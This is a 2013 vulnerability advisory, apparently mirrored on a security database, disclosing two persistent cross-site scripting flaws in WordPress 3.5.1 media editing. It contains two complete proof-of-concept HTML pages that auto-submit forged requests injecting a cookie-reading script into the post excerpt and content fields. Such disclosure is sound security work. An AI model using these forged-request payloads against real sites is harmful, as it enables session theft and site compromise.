Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:29513
HistoryJul 08, 2013 - 12:00 a.m.

Cross-Site Scripting vulnerabilities in WordPress

2013-07-0800:00:00
vulners.com
6

Hello 3APA3A!

These are Cross-Site Scripting vulnerabilities in WordPress. Which I've disclosed last week.

At WordPress 3.5.2 release, WP developers mentioned about three holes as "security hardenings" (to decrease their importance and to make it looks like there were less fixed holes). One of these holes is "Cross-Site Scripting (XSS) when Editing Media". After I checked media editing functionality, I've found that it was not one hole, but two holes and these were persistent XSS.


Affected products:

Vulnerable are WordPress 3.5.1 and previous versions.


Details:

Cross-Site Scripting (WASC-08):

These are persistent XSS vulnerabilities at page http://site/wp-admin/post.php?post=1&action=edit in parameters excerpt and content. For the attack it's needed to bypass protection against CSRF (to receive token _wpnonce, which can be done with using reflected XSS).

WordPress 3.5.1 XSS-1.html

<html>
<head>
<title>WordPress 3.5.1 XSS exploit (C) 2013 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/post.php&quot; method="post">
<input type="hidden" name="_wpnonce" value="cbad9af0d3">
<input type="hidden" name="user_ID" value="1">
<input type="hidden" name="action" value="editpost">
<input type="hidden" name="post_author" value="1">
<input type="hidden" name="post_type" value="attachment">
<input type="hidden" name="post_ID" value="1">
<input type="hidden" name="excerpt" value="</textarea><script>alert(document.cookie)</script>">
<input type="hidden" name="save" value="Update">
</form>
</body>
</html>

The code will execute just after sending request at the page http://site/wp-admin/post.php?post=1&amp;action=edit and at subsequent visiting this page.

WordPress 3.5.1 XSS-2.html

<html>
<head>
<title>WordPress 3.5.1 XSS exploit (C) 2013 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/post.php&quot; method="post">
<input type="hidden" name="_wpnonce" value="cbad9af0d3">
<input type="hidden" name="user_ID" value="1">
<input type="hidden" name="action" value="editpost">
<input type="hidden" name="post_author" value="1">
<input type="hidden" name="post_type" value="attachment">
<input type="hidden" name="post_ID" value="1">
<input type="hidden" name="content" value="</textarea><script>alert(document.cookie)</script>">
<input type="hidden" name="save" value="Update">
</form>
</body>
</html>

The code will execute just after sending request at the page http://site/wp-admin/post.php?post=1&amp;action=edit and at subsequent visiting this page or the page http://site/page_name/attachment/1/.


Timeline:

2013.06.21 - released WordPress 3.5.2.
2013.06.29 - disclosed at my site (http://websecurity.com.ua/6616/&#41;.

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua